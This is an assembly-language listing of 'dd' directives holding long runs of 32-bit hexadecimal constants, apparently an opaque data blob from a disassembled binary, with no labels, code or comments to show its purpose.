dd 6EE9F8E4h, 8B0763D6h, 5F114C44h, 122FFD8Ah, 8D090434h
dd 9E2EBC06h, 1705BD46h, 62B72512h, 6C0E36EAh, 0AFF9D6DEh
dd 14B9D664h, 72C06B4Ch, 8F4FD11Ch, 0E1C2B202h, 0DDC9EAD3h
dd 0F94BBB14h, 0C67834D9h, 0AD9509C1h, 81A80625h, 0C43EFC5Fh
dd 8427B916h, 9136CB0h, 1504F877h, 0BF12FE31h, 6BD3D2B2h
dd 19100B29h, 3CE700F8h, 1EF81ECh, 445228FCh, 50FD2B9h
dd 22956704h, 6B5365AFh, 0FF301459h, 348D10FFh, 9814803Dh
dd 0D04B83FCh, 66C02B2Eh, 0DEBAEECBh, 0E9E967C1h, 0CDE94373h
dd 1E3240C5h, 0C531EEA1h, 1971663Ch, 637FB105h, 59B90ED3h
dd 0A42D2083h, 95A0556h, 8061B3D2h, 0B22A0871h, 7469C527h
dd 1D46D602h, 14721E00h, 0E1FEFB75h, 7107B712h, 23A58404h
dd 412125F4h, 1E9D2B2Ch, 14006A2Bh, 62FC96B9h, 570E3D62h
dd 5E694A47h, 7A00D487h, 0E2E81FB2h, 2DC55923h, 0E50929F5h
dd 0CA72295Ch, 0C36D7D9Ch, 0DE8B23E1h, 8137202Eh, 0AF12C0E7h
dd 21BD5109h, 0AC35A9D3h, 78EE002Ah, 134EF1Eh, 629A6D9Dh
dd 0EDE1FF2Fh, 0E55CC03Eh, 0D325A80Eh, 115DC5F5h, 2CCA4A91h
dd 9B1B9F35h, 45EED239h, 0F8238EF5h, 717280BDh, 1F579B2Fh
dd 0E2B1F4h, 8C395415h, 0CA12B93Bh, 5EE20123h, 3E565E9Bh
dd 0C587F010h, 2BDB02CBh, 6049B627h, 9F70207Bh, 939000B8h
dd 62425B73h, 997DEB6h, 0DC70FE60h, 23FC5601h, 53BB6613h
dd 2CA5A52Bh, 9529209Dh, 412257A4h, 1BE9BD0Bh, 0BCB3752Ah
dd 6E5F82B1h, 5655E265h, 0D69CE807h, 22D68A00h, 0D4D5A0DBh
dd 9979B04Bh, 0BA622FEDh, 0DC5CF3E2h, 245CB7DCh, 2CD98B0Bh
dd 0D3D80654h, 11A4F84Eh, 6800119Dh, 0E017D21Bh, 2E1224BBh
dd 0C4A0074Ch, 4D3176E4h, 0E3BC8B20h, 18016D79h, 32EA9240h
dd 28615161h, 0C6F586Eh, 71950BC9h, 87D9644Ch, 0A29B11FDh
dd 0EA242B65h, 2A859CDEh, 18A4AC2Dh, 597ABBCBh, 31E98029h
dd 609A82B5h, 2D57956h, 0E76A7EA0h, 7D35CA83h, 6DA78190h
dd 4C1DF900h, 0BEC12234h, 585B615Ah, 2BDDA9E8h, 0CD2BEC99h
dd 55B803F9h, 85017305h, 0CBAB0EF1h, 55DA4E58h, 2750809Eh
dd 96992BC5h, 0C6DA8B25h, 2D5FB02Bh, 6FD331D9h, 0DE181679h
dd 9FEE7828h, 5B0D1520h, 1AF6F89h, 0DB19BB1Ah, 0A23B4B2Ch
dd 0C2A8B8h, 78A87D66h, 0CE827E88h, 87172EF7h, 6F8E1B9Bh
dd 0C889AE85h, 0B4880AF2h, 49ED0774h, 62716991h, 0BBA52E68h
dd 31C2B050h, 768D594Bh, 44EDFE30h, 527BD08h, 726A7C0Fh
dd 50739DD8h, 44AF93D6h, 0FA880FFFh, 31E5DA99h, 995A5BF0h
dd 9BCABA04h, 5FB88B98h, 5625626Ch, 64B1CDF8h, 0F0F4601Ch
dd 896802B5h, 0E0E82D3Fh, 7A1FE7DEh, 0F7B2D6F4h, 33452100h
dd 8FFF958Ch, 0FD90E20Eh, 3F2D2674h, 0ECAA6EAh, 79184C21h
dd 791F658Eh, 4771080h, 0D8E7F712h, 3B325402h, 0DC5F5B51h
dd 1446D4EFh, 5C60C12Fh, 0F125026h, 5AED188Eh, 0D83EC6C1h
dd 90B96EF5h, 4F09BBC0h, 5B4D5C0Bh, 39AF966Dh, 0EB68842Fh
dd 0BCAC567Bh, 0A7BFABA7h, 7D31970Bh, 4AE9DDC8h, 537A3EE1h
dd 8220E813h, 540F3007h, 0C4EA1BE9h, 321DE188h, 0F9CF8E6Eh
dd 496A3Ah, 1519DAADh, 9C86C289h, 3850877h, 0C1AA62Ch
dd 1CCC7D2Fh, 0A2A6DF04h, 0E7B84102h, 771A10A2h, 9500B635h
dd 21432FE9h, 898CD352h, 30264B9Ah, 0B5315DDBh, 9D0A9289h
dd 3854DB51h, 0DC005AA3h, 1B4D5D51h, 1897294Fh, 95C780E3h
dd 292FE8CCh, 0A709D59Dh, 15599C5Bh, 96D42019h, 0ECF9504Eh
dd 250EB71Eh, 9FC0BCEDh, 0B560D6D7h, 2DCFEE08h, 615650E4h
dd 0CC205A96h, 12B7B84Ch, 0E30DD204h, 0B989508Eh, 639C0C4Bh
dd 0C88A5E0Fh, 0E5B5D3D2h, 59AF50EFh, 0AB1BE905h, 0A3EF31B5h
dd 8CBF095Ch, 0C8385D64h, 0CD9D09E9h, 6018E48Ah, 4A302F3h
dd 0FA8BE3EFh, 495FB8F8h, 9E12BC30h, 678D096Dh, 0D9E75070h
dd 0C6D46FA9h, 161B02FBh, 0B5575B41h, 801C9150h, 1779C69Dh
dd 7E3A0F8Ah, 8160C55Ch, 14B0E1EFh, 4ABD7F48h, 0E70561C9h
dd 0AD4B86B9h, 18EE829h, 30DA8AB7h, 61F5B06Eh, 26612BE7h
dd 956F8D29h, 6B2EE807h, 64F66D0Dh, 9F83601Bh, 42FA0280h
dd 9607218Bh, 560A7DCh, 898A3h, 6F503C4Fh, 0B355D019h
dd 57445217h, 0D754D0BFh, 0AE0180D3h, 59487ADFh, 23505061h
dd 0E201B10h, 385111C3h, 3FAE80FDh, 96FC30B8h, 0C4494D9Fh
dd 0B6C8FF74h, 371B1355h, 6312AFC0h, 0A22BAEA1h, 0BD21A820h
dd 0DC59B289h, 7F2212ADh, 0A0F00280h, 4809AB90h, 710DFF23h
dd 2E7846C8h, 0DC76D4BDh, 2E645600h, 25B92CC4h, 0A8FB260Fh
dd 1DA108E8h, 52167124h, 10038EF2h, 91B0C1DCh, 0A1D80AD8h
dd 0AE47FAB6h, 7A353557h, 5BC882BEh, 813651F5h, 78947DFAh
dd 9C67E454h, 0DB00E773h, 0C32F6977h, 5973316h, 458FE3BBh
dd 0AC20AA59h, 27ED0EE0h, 0D9619674h, 12C04A19h, 0EEE35F53h
dd 0F0D2862h, 0B00AED0Ah, 224B1852h, 77D55CB1h, 9D23024Ch
dd 0DF5545D1h, 0E55D8662h, 5552560h, 2968A379h, 4B7C2D7Eh
dd 4FB0AD8h, 312FDBACh, 799540D8h, 2390EB62h, 2500E51Dh
dd 982FF8A3h, 167830F4h, 0AA0504C0h, 0E95F2C30h, 0F40997AFh
dd 0CD71E8D3h, 24076330h, 8A0BBE3h, 6013345Dh, 813634EFh
dd 20908E81h, 5EBF6138h, 0F302DE10h, 99DFE30Bh, 5E6D7812h
dd 0B114BC34h, 0AA041D75h, 86ECE3C0h, 0B1600550h, 8C8D0F41h
dd 0D809B864h, 85906195h, 0B6EF6A99h, 3912E007h, 7DFB0962h
dd 4A03712Bh, 4C4FA39Dh, 0D305336Eh, 0C1EF0D78h, 8244B73Fh
dd 18FED5E0h, 809DB706h, 0C2E751A6h, 909540C4h, 926422h
dd 0AC85F146h, 0EBC85ADBh, 50D74904h, 2CBC4430h, 0FEA6E4Bh
dd 0C0F61393h, 751DA8D3h, 0A2BF1307h, 3200FA2Eh, 0CE92F8BBh
dd 2EDEB738h, 0E76D00F4h, 0EFB854AEh, 1E2CABEEh, 50B6F78h
dd 92969216h, 775BFDC9h, 94CE757Ah, 0D7132F90h, 6A78D62h
dd 37CF6BA0h, 927C402h, 5E7780D2h, 0B526F6Ah, 96D72E4Ah
dd 0D44FB6DFh, 9B8B6C01h, 44D69403h, 146A086Fh, 376DFF1Dh
dd 9DD5097Ch, 1B654682h, 44D69C57h, 5602BF95h, 6A416ECEh
dd 874D402h, 57010869h, 2436F781h, 0FB605DD5h, 9E82290h
dd 0AEA3B304h, 94FF4738h, 0D917AABBh, 0B9FE30AFh, 2132A90h
dd 7E30B2F4h, 5E8D76h
dd 0E771BA81h, 3EC211A2h, 0C2E0BC25h, 0DC6ED671h, 0A5978B5Ch
dd 0E86ABFh, 0DCACB6Eh, 1C05E4B9h, 90BD29F0h, 25E93D1Dh
dd 928FE50Ch, 36FD55DFh, 9D00B3BCh, 1899055Fh, 1C511DFCh
dd 0E5C9BD09h, 0D301D03Dh, 475F0F49h, 0AF73352Fh, 5565B020h
dd 4D8E076h, 9AE53097h, 0EBC5C150h, 3EF921D3h, 0ADF0EBB6h
dd 0C02D5149h, 42BD7927h, 551602F1h, 162A0D09h, 906BAF29h
dd 0AEC0AB59h, 0ABD350D0h, 5E900D0Eh, 0DDC8522Eh, 4D0A04A9h
dd 0AFFAF592h, 330B757Ah, 6B81B98Dh, 7B14220Dh, 0E4F0DEB6h
dd 0B2025D74h, 0F42F84F8h, 0C04FC0C9h, 15B09780h, 0F800142h
dd 0B0DE25B7h, 0E601BC70h, 87EB8070h, 0F06071E4h, 90B40D1h
dd 347D8D16h, 20CD8ABCh, 12266845h, 0F88C8B6h, 788E0217h
dd 0F102E9BEh, 4AABE65Fh, 915BD80h, 5D5B95B7h, 0B9520B98h
dd 0D520BB05h, 1DD55F5Ah, 5A18B81h, 0D7DFBC05h, 890A4AAFh
dd 0F7804191h, 2F002F99h, 6777E781h, 0D5395C8Eh, 5A107D10h
dd 0FBE5B7E1h, 62B7D1ECh, 192D1EE8h, 3DB6E903h, 79982B4Dh
dd 118A771Bh, 0D78BB28Bh, 2404CA45h, 0BB1E2Bh, 50858B1Ah
dd 474F554Ch, 47A585E1h, 3C6052C1h, 0C9FED6EAh, 9FA33B8Dh
dd 61FC8A0Dh, 1BF1C232h, 4AF1C500h, 0C8C385Dh, 0D8E3F668h
dd 1C5A3D62h, 0E22E6F3h, 15D9DAC4h, 0FEB24948h, 6B755EDEh
dd 11971178h, 0B9143468h, 0D1578967h, 0BD2B8621h, 6FB07999h
dd 3F7A9551h, 8D1DD9E7h, 8101E059h, 43413EE6h, 602F6109h
dd 187C8279h, 8A8B379Dh, 1785CE7Fh, 0FE4CD485h, 9B09B86Fh
dd 0B05D01C0h, 41859D4Ah, 0B5CE9813h, 4EDDB965h, 0E894980Fh
dd 0F7C89601h, 97DF81FDh, 0DB9C162Fh, 0BF2780A9h, 6E3D9775h
dd 9107964h, 71F88BFCh, 89D82D6Eh, 8D6B0E41h, 112DECAEh
dd 607BDCBDh, 0B63E7CA4h, 733DC20Bh, 413FDDDDh, 656B30ADh
dd 0E83F02DEh, 0F0863A02h, 0DF702553h, 0C0A262E8h, 4D771495h
dd 6729C8FBh, 0F422E9A0h, 4DD705CDh, 0EDCCEBD8h, 5A2A1809h
dd 7D0E8B21h, 0A98DF038h, 0D3702FFBh, 4BC18529h, 0C0B4CB12h
dd 3F5ABABBh, 8F949756h, 3D975370h, 80B21FFBh, 0BA7AA1F2h
dd 98813E8h, 2AD200FBh, 0ABFEE5CCh, 0F300AD4Eh, 0DD566C03h
dd 586A46BDh, 0CA09275Fh, 41185B02h, 0D3B51AB3h, 0D98504C8h
dd 68B82421h, 0B3409FA3h, 2C409996h, 5CC809BFh, 73790C48h
dd 1802A245h, 571AA995h, 59449F1Ch, 20604A57h, 3F78452Ch
dd 3F7023Eh, 5A402530h, 5F619050h, 7CBF0560h, 0EB186FA4h
dd 0E321D0C8h, 256A6B1Dh, 2FBEC600h, 3DE8408Eh, 0C5254BB8h
dd 4518E61Ah, 31A52128h, 18762ECDh, 95757FECh, 356B84D1h
dd 2FD18530h, 5908EA7Bh, 0E6D6270Eh, 0E11870D6h, 0D1093B08h
dd 7CF46EECh, 263D4032h, 0F0E13C1Fh, 56098840h, 0DD0FEAC1h
dd 0BD0B6818h, 5625CD5Eh, 0F78CD8BFh, 7935C500h, 6B5E6809h
dd 0AD1B48B6h, 0E05CDA25h, 0A91EA11Fh, 2DE7EA4h, 2A0D75DEh
dd 0AA54C47Dh, 41186FA5h, 30143679h, 1B0066B0h, 533F512Eh
dd 9D5B5F57h, 1A5919D3h, 6302A318h, 3154EDC1h, 73C5E11h
dd 35F90FE9h, 0BDBEC886h, 96EA55Dh, 7B0BD380h, 0AD88151Eh
dd 1B452581h, 25982B55h, 1DD21BDh, 1082DC49h, 2511581Dh
dd 0FDFDCAFAh, 2940A8EFh, 43E019Ch, 949F77E1h, 89F905D2h
dd 0DB8DB5EAh, 385FBB97h, 128CBF19h, 0E101F3CAh, 0B19B7AC8h
dd 9D9A5680h, 0C50EB3E0h, 0C53CBF96h, 38F82B81h, 0A758F83Dh
dd 0F7224D18h, 0B97F9B7h, 1EBD57C3h, 275759A7h, 0FFA7B63h
dd 618D6802h, 6D243BB9h, 35D13B72h, 8F6ECFh, 57E11EF2h
dd 260E45EAh, 91C55FC8h, 1FBF1F71h, 8D5549C7h, 2CBFD5BBh
dd 0DD50320Ah, 0BD38784Bh, 0A8A23352h, 40D8CFDDh, 857797A5h
dd 5EFD923Ch, 0BF6220BFh, 8000A4E4h, 66605B7Fh, 17CE54BBh
dd 0B5AD9D89h, 0E00BC5D0h, 0CB60471h, 5E2F198Bh, 0E7817830h
dd 95780109h, 44735911h, 0B18F8C33h, 4BE92340h, 0B083E743h
dd 5B965822h, 0C29FAC78h, 5C32F380h, 0BA4A7776h, 0DC5709D6h
dd 0C3EDAB1Eh, 578AD6C2h, 0EF605F16h, 13B1BF49h, 0E22752E2h
dd 0AB03DDC5h, 1828AA7Ah, 9551B5D4h, 8D7B5840h, 1AFB0011h
dd 0EB87F351h, 8C02C48Eh, 0C304D654h, 824FF995h, 0E299D23h
dd 914C3757h, 6C2D8515h, 162FA0F8h, 57E15Ch, 20C59AAEh
dd 7090C04Dh, 99B06F4Fh, 42545C62h, 0E7036912h, 2D962CB2h
dd 0EE4C0811h, 50270222h, 0BB62605Fh, 0BD8E5E9Ah, 87C1C4DCh
dd 0F6FE75ABh, 0BCC7A0E7h, 3DCA0EDBh, 0DF25450Bh, 0FE8525CBh
dd 0AB865A9Eh, 0E45D877h, 0C52A6A78h, 9D092D80h, 614BF252h
dd 62D0B89Ah, 3CE51AC0h, 71041286h, 112B5DCFh, 0D700D5B2h
dd 53219F2Ah, 0BA4A4B15h, 0CD3E1DE7h, 9F652B4Bh, 0F823B385h
dd 0D5DB7782h, 0FB4BCFE4h, 6EAB9F85h, 57D70071h, 916F9890h
dd 0DA5CC017h, 0C67DA5BFh, 95BD6E4Ah, 98C18ACh, 0DE1F3816h
dd 0B82A8455h, 0A2B7BEBh, 0AB29BDBEh, 0A51FB50Ah, 86355749h
dd 0A5801C91h, 43F45940h, 4E3F5405h, 2AE3F8F9h, 1398A2Eh
dd 245357BBh, 69173E3Fh, 0C64374BEh, 96580CB3h, 0E791646h
dd 0F9672CBBh, 26BC314Ah, 0A95FBDB4h, 0F510C23Bh, 42514E5Ch
dd 0B009B73Bh, 46623A1h, 6405607Ch, 154904D7h, 50F00917h
dd 3271179h, 0A2E77850h, 4B0C5D8Fh, 24BC9E8h, 1AC8D89Bh
dd 0F5217BC2h, 0C6B73BE4h, 2C6E9564h, 4060CD97h, 3C799DBDh
dd 0C5035A18h, 852489B8h, 0F551422Dh, 0C9259A4Eh, 0E94B5E12h
dd 1C6F827Fh, 0EB34D790h, 1CDCB1B6h, 364E0ACh, 0D9BD0986h
dd 0C268B9FCh, 0D3C60AB7h, 2EB20F74h, 8496AC60h, 7995953Dh
dd 787EE944h, 0C3648D4h, 0E900E17Eh, 0FF71F453h, 7B7B7h
dd 0AB923343h, 0B5721242h, 5E4EDE25h, 0C900F464h, 0E4D2E5F8h
dd 45AFA4h, 0F38161B1h, 1DDE7809h, 0BF4B1897h, 11010B53h
dd 49F99004h, 0D88A6087h, 5061D781h, 0E2B32Bh, 4CE38190h
dd 156BBFB4h, 83FD9D33h, 0A6D36A2Fh, 7A23907Bh, 2F660ED4h
dd 0B7F27BC6h, 1B23A162h, 9903D20h, 0D2A22EDAh, 31B16C02h
dd 0DE8FC0Dh, 7813B819h, 0E62E5AB5h, 3016A2D0h, 0B750F086h
dd 24484A0h, 81BD4AB3h, 0F9E52D2Eh, 2CDDE103h, 8D89843Ah
dd 2EC95EEFh, 0DE48F4FEh, 0E551743h, 1B2FBCB2h, 0D35A575Eh
dd 3AD051ECh, 19B2EEF6h, 2DC3230h, 25694DEBh, 41EDD1FFh
dd 3A5480E0h, 0FB190298h, 35D1C242h, 6F23C43h, 6F71F356h
dd 20C78011h, 37B50226h, 0B81A0138h, 6A7BD445h, 7025B882h
dd 0E0FE5028h, 9024406Dh, 0E60EBFF6h, 0F303ECB2h, 76E197E6h
dd 192BD4C9h, 6682A402h, 0CC6080BFh, 815300C4h, 0B3C9EC7h
dd 0E9255F13h, 71AA5C35h, 427125ACh, 93A9110Fh, 9E5E00Bh
dd 0EFFFB500h, 95C06BCFh, 10079AB1h, 1FED821h, 6B708C20h
dd 38D98B50h, 0A7204FA7h, 4B6A8Ah, 0A8904721h, 4201F8F5h
dd 12498048h, 29AE1D3Dh, 4A5A384Ah, 0D4418A99h, 0E22A1991h
dd 259AD628h, 7C8EF381h, 2BD33001h, 0CAA7B59Ch, 91E00431h
dd 0BA4A61ADh, 0EB0F186Eh, 0B1A0830Ch, 0E59D89D2h, 0D780B3C2h
dd 0D5A2C1ABh, 734F5FC2h, 0EDCAD54Bh, 306F90DFh, 0DAE20769h
dd 0C0B68718h, 0A5E073CAh, 54C7CAB7h, 5328C4A0h, 0E04200AFh
dd 0C18AE8A4h, 9BC615Eh, 12D99D08h, 3D29BB00h, 4BE61C7Ch
dd 4D9A8870h, 0C7902C1Ch, 42481440h, 0B671E4C1h, 9D036086h
dd 999510D5h, 80C2ECBAh
dd 3845B93Ch, 35D99789h, 0C8B62430h, 3710BF57h, 104F36Bh
dd 0BA5F8BABh, 850E31FEh, 89C00425h, 0F48FC381h, 0C46E4AE6h
dd 5AA4A8ADh, 4A8B348Ch, 0F8A0D0FBh, 4D0FDB81h, 0A773611Bh
dd 0C09760D1h, 11FDAA01h, 0E680C078h, 1AF641BDh, 0C9170E01h
dd 55852914h, 2E5E1064h, 45BEE961h, 49FBA08Ah, 444C4E70h
dd 0CAE139EFh, 6B8A0C9h, 0E9F9BB02h, 7A56235Eh, 0A5BD22EFh
dd 32552405h, 0B52930DFh, 0F7B9F15Eh, 38DD3DC9h, 21E0C6Dh
dd 0E8E4661Bh, 42765D31h, 25B8704Bh, 946C6379h, 5F0F84Fh
dd 0B4088220h, 0BE600067h, 64404885h, 296118C9h, 858653E1h
dd 0BB188C5Fh, 0AD01CE6Fh, 8BF27C38h, 0BD2900F9h, 92399609h
dd 5A6EB3FDh, 0C0014CE2h, 0D424BC62h, 16BBF478h, 0FC81FB07h
dd 0AFAAB95Bh, 78B7532Fh, 10240BDh, 0D471C9FAh, 2D8A56F7h
dd 0FC70EAD3h, 9F6E12F9h, 80C4E3C5h, 0A7DA7B2Fh, 0FCD3247Ch
dd 0C81088Dh, 37C02B0Bh, 13B8556h, 0A0D1BF23h, 51A42C49h
dd 1DB50E4Dh, 75834EB0h, 0BB00EC31h, 3B56A64Ch, 0B2CF614Ah
dd 3012454Ch, 614504DEh, 9675AD25h, 0D3A37104h, 14B2F0E6h
dd 5EB7E230h, 2ABCF14Eh, 0BD614837h, 930E2B05h, 0B5E71DB6h
dd 11FAF27h, 36099760h, 5C446951h, 21E22C5Bh, 118E37D7h
dd 60AD8E1Ah, 0B316436Eh, 35D7A165h, 0DF59496Fh, 46D6045Ch
dd 3BF90115h, 0D7B7E1FFh, 1F72282Bh, 2D690450h, 0CB3305Ah
dd 227278Dh, 6A56FFD0h, 0B216E151h, 8C2FFA90h, 0C4E36DD9h
dd 468ACC9h, 8FDBD89h, 4CC446ACh, 1E9EBB01h, 0C4FDA080h
dd 0AC654235h, 0CCC99EEh, 6A578925h, 25D55088h, 0E6D96D16h
dd 254EF0EBh, 9F5B5F5Bh, 1C0E0911h, 0D44F8863h, 0A3993EC2h
dd 0B7628F56h, 0B74075BFh, 0A8BAF3DDh, 9E0DD0B7h, 13B7A7D6h
dd 1930BB80h, 2706E668h, 9071D1C7h, 0F1CEA600h, 380859Dh
dd 0A706D960h, 22C8FC98h, 0DB30BD90h, 0FD198881h, 0DB2E4F57h
dd 604F8EECh, 0D593F24Eh, 0DE3A1C5h, 606555C6h, 40F06DA7h
dd 72EF93Ch, 8D290E12h, 0BD1722ABh, 54DC4A55h, 4CEFA767h
dd 12615540h, 0B73B12D2h, 718488B1h, 603A5F61h, 0F1F0988Dh
dd 0EA59701h, 6EB4EED1h, 0BDCFBF90h, 2B6FF261h, 5077863h
dd 21FF808Ah, 2044681Ah, 91B5B38Ch, 0C8E4A595h, 3EE217E5h
dd 0D814A15Ch, 22DB776h, 0B7C652BFh, 1880D63Dh, 0CACCC160h
dd 0B2BA0B78h, 538BC05Fh, 0A58935D7h, 3F1678ECh, 7F122596h
dd 0DAA9F012h, 50C5B3D2h, 19DD0923h, 121566A7h, 0FA071597h
dd 0DD1F9D49h, 1791F135h, 19828B81h, 81E82AADh, 4E35A996h
dd 8FD190F1h, 0B26AAA49h, 9FE30074h, 0FFFA6720h, 0ACE4095Ah
dd 8980BF28h, 0B70DEA6Fh, 0DA5BB527h, 0E3539519h, 38946F78h
dd 0E6A56122h, 1B64F96Dh, 0E5D8CE60h, 1278F21Ah, 15B402FAh
dd 8DB52232h, 0E9684768h, 0DE385E0Ch, 0B5DAC056h, 0A51679C8h
dd 3A21E632h, 52E3A9D1h, 0EDD695DCh, 523A94DEh, 0E8449540h
dd 2ABB5002h, 0D72873CCh, 91268364h, 0CD723129h, 0CE606FA3h
dd 0BFBCE59Ah, 1012C4E4h, 5205612Fh, 0DBEB24A5h, 0B7F6564Fh
dd 0DDF29CD2h, 0AA149185h, 9F354538h, 2C7D9410h, 85C34589h
dd 0D2619BFAh, 0E2502EF3h, 0B7E31270h, 0A83FC41Eh, 6A97EEF2h
dd 31E701CCh, 9495C22h, 7A2AF17Bh, 74A097B7h, 800E629Ch
dd 0F2549A67h, 2384FEB2h, 8F28AB04h, 37E40AEBh, 59F736BFh
dd 27B3730Ah, 2E2EE1F8h, 0BFC0C879h, 9337DE1h, 59A1739Dh
dd 0B06B1916h, 509531B9h, 0D5389586h, 354ACB80h, 16ACBBADh
dd 6E72178Ch, 1690BB62h, 8B8D25h, 0E7FD953Ah, 2DC435FEh
dd 20ECCF4Ah, 5621EA02h, 0C2846158h, 4852EBBDh, 0B3797FF5h
dd 9299658h, 70B7428Fh, 3188827Fh, 3C3D750Bh, 1ACC7102h
dd 0B2CBE39Ch, 318E9406h, 0AD1C5F56h, 0A69D6A2Fh, 5287817Fh
dd 24B82A1Dh, 69308FCBh, 0B9952599h, 122BFC8Eh, 81AADB6Dh
dd 6FD0733Ah, 9B89172Bh, 80F48F46h, 4FDCB670h, 98A113E0h
dd 2073B8E6h, 0EE607403h, 0F64B9D79h, 0EA5285ECh, 6A4A57CEh
dd 9FD41656h, 0E2E6EF30h, 12069081h, 0B3B440EAh, 0BD0905A2h
dd 0A9E30649h, 0B9224E72h, 8C1DBC10h, 56AD4300h, 830FBD5Ch
dd 88652759h, 5D4A4258h, 0AE9352B2h, 3AB9D434h, 60458CC8h
dd 0A085A6F0h, 62FD8A09h, 18C55696h, 72737355h, 0ED044DFBh
dd 0FAA5800Fh, 0FB80D268h, 0C5488D10h, 25C1FBBDh, 0B5BDC54Eh
dd 1F3A0045h, 921951E0h, 23842916h, 481D5609h, 0B52B8DCEh
dd 821AEB47h, 0A5CD5F46h, 86D6B6E0h, 0C1AD0184h, 0F1B50997h
dd 0C4FD2B30h, 1E9FA180h, 66B50584h, 0E6020016h, 0AD7FDA63h
dd 0D500D31Ah, 0A2E58885h, 48F58D17h, 3448114Bh, 0B8BC354Dh
dd 2B78110Bh, 0C4AB2862h, 0A2EEB460h, 8ED50012h, 1676430Eh
dd 73955C88h, 0C4385A17h, 4003C18Ch, 0A14BEAE5h, 0AA784B11h
dd 655E2E6Ah, 3FDFE0E2h, 5BD8A926h, 57318D0Bh, 0CCADD3B7h
dd 4AB60762h, 54BB667Ch, 0D324B8B8h, 0ECFF20ABh, 770E7A9Ch
dd 1CC7C3EEh, 5B2631C7h, 0D1F9E990h, 69C91202h, 8838E2D9h
dd 95898234h, 0B7550D4Dh, 801A9180h, 831F93DCh, 7B6425A9h
dd 0E78038C0h, 2E8F744Bh, 37B01E56h, 34260EB9h, 1D08AFD4h
dd 0A8E90925h, 102D8956h, 0FCDF08FBh, 0C2E0C0h, 0B78FFA97h
dd 8B5D91D5h, 0B79BC14Ah, 972DBC80h, 0DBFC612Fh, 14E39200h
dd 0D6DC64BBh, 0EF73B568h, 30491959h, 265AB36Ah, 6860F650h
dd 0BE02D27h, 0D61BEE5Fh, 0ED25F959h, 0EF9C0BDh, 0A65FCF74h
dd 0E52EEC5h, 0C4B7DBAAh, 0D5C465B5h, 2FC53BBh, 917BE7F2h
dd 0C6578A87h, 51B01619h, 0DB278995h, 65557274h, 0B5F82573h
dd 90ABEF00h, 60503EB7h, 29815E0Fh, 0EAAC7F2Ch, 29906182h
dd 6C9D9ED8h, 1EDB06ECh, 0A26B2868h, 0F2278BBEh, 405AAF07h
dd 0DBE55331h, 3D847D4Bh, 0E804EDAAh, 4DCE1D8Ah, 0FB68D30Eh
dd 569F6D1Ah, 1D46D648h, 639BAB00h, 0DF8DB139h, 0C2380316h
dd 82EBD764h, 20FEBD49h, 25385627h, 9B7053DBh, 799504DEh
dd 0B8FA5E84h, 4AD3A351h, 0BCBCAD2Ch, 890953Fh, 3100281Eh
dd 11A7459Dh, 1EAB36Dh, 2332CC29h, 6B52C4A9h, 6A5F8102h
dd 0E02DCD02h, 8AF26F63h, 9866B709h, 0CC107F75h, 8C3FE0C4h
dd 0DD5592B0h, 505B7F44h, 9C9378Ch, 7FB769EFh, 0B74DE929h
dd 0B73C80CFh, 249F6178h, 607A71DEh, 76A1E0Dh, 267B0A2Ch
dd 0A9CC920Bh, 6004CFCEh, 43CBEDCEh, 0D5B3DD04h, 38ABD2E9h
dd 0FC906182h, 6BD0AE9Bh, 0DC540BE2h, 0F676DD65h, 9014BB01h
dd 362E5D2Dh, 0F93A1CC7h, 0C48B2D50h, 51C70A35h, 0A5AC3E95h
dd 0D720BAD5h, 8D00A635h, 0D1600813h, 26F725CBh, 0F454D991h
dd 7D0049A1h, 848AA61h, 90DBEE1Fh, 52520D0h, 60AE5B4Ah
dd 2CCB81FDh, 12C2BE58h, 0EDE734D1h, 31AF205Ah, 9701EF77h
dd 0FCB5D9C1h, 0B730FF6Ah, 462A4AB9h, 43037924h, 2C95B517h
dd 8EA088A7h, 61008912h, 3586397Eh, 0F88074DCh, 9F319788h
dd 0C008C2D7h, 0D5B0DB0Ch, 16CDE6F7h, 0ACF570E6h, 95EF104Bh
dd 54A5BD88h, 0E99D858Fh, 9D8EB30h, 1AF364B3h, 0C193A471h
dd 0D9D10797h, 0BA512FE7h, 0B52AFCB8h, 0F846FA9Bh, 33712E00h
dd 0FC4DFF8h, 0ED7950A0h, 0D3F60918h, 205007B1h, 97611640h
dd 21BD3B5Ch, 0D1053C03h, 0C8CD8531h, 4C9C622Eh, 25266D42h
dd 0FF07AA85h, 0FD622950h, 50715C09h, 56212C78h, 0A09114Fh
dd 637E9F9h, 71DA8A09h
dd 6664A56Ch, 13312544h, 0AB1FB5BDh, 2FF9BE28h, 0D1AA9D0Bh
dd 0B24B2026h, 0BC0C5A90h, 9B33A008h, 0DEA29618h, 0D98A3C12h
dd 0BA5F94FCh, 8612916Fh, 4A63E3F8h, 0A85E38A3h, 131920B1h
dd 811DB529h, 555FB965h, 0B879BDF5h, 55ECA06Dh, 886CB52Ah
dd 0D4809Ch, 1DFA3D73h, 59B501FCh, 0C02B53C3h, 0E6FD84BAh
dd 97C61ECh, 29D75702h, 0D515FD9Dh, 0B5959EBEh, 0BFC90027h
dd 72CC2137h, 0C27843BBh, 1F9E3ECAh, 0B25609A7h, 0D8F3D864h
dd 5AD9B750h, 0D776B22Eh, 62A88BADh, 0A4109C01h, 0D28DA20Bh
dd 0F651FEh, 54348E9Bh, 650084FEh, 0C5E47935h, 1266310Ah
dd 0E2861CBFh, 0B2BAB48Fh, 7E7C9034h, 0C2DEB84Ch, 0F5BBA5BFh
dd 810B54CCh, 0D72C58DBh, 0B8DF5604h, 1BA8A227h, 0EC56B9F7h
dd 0DC0BECEh, 27579442h, 34149722h, 5C04A325h, 67F6F433h
dd 66B2409Dh, 8A394B84h, 603D3454h, 0CB58DBAFh, 40E5D86Fh
dd 37B56019h, 0BB9F0051h, 4BCA51F3h, 0FC85C101h, 84DB531h
dd 2D9EAC04h, 11E152F8h, 842C85BDh, 7AEB01C7h, 0E046020Ah
dd 0C2F88A60h, 3457503h, 28D54258h, 39E21BFEh, 2009BB40h
dd 35557A0Eh, 9795A322h, 0AB99FED9h, 3D33C82Bh, 0E8D59C0Fh
dd 0F46E178h, 256F4012h, 3320BB4Dh, 233FDFh, 0B9E30D24h
dd 0EA078AE2h, 1BD6D513h, 8B0416B8h, 0EF585AFEh, 0E082B6D8h
dd 9E693E74h, 9158737h, 2361B5FCh, 1675C1BDh, 789FE0A3h
dd 0FC752CD9h, 624BFD16h, 0E00D6F09h, 0DF068B1h, 5376C79Ch
dd 0FE366BD4h, 5C1044ADh, 0A522B00Fh, 0DED42B6Ch, 0B7A1008Ch
dd 20E5D647h, 41AAB7D7h, 0D89F0F00h, 0D4A63E76h, 3210BAE0h
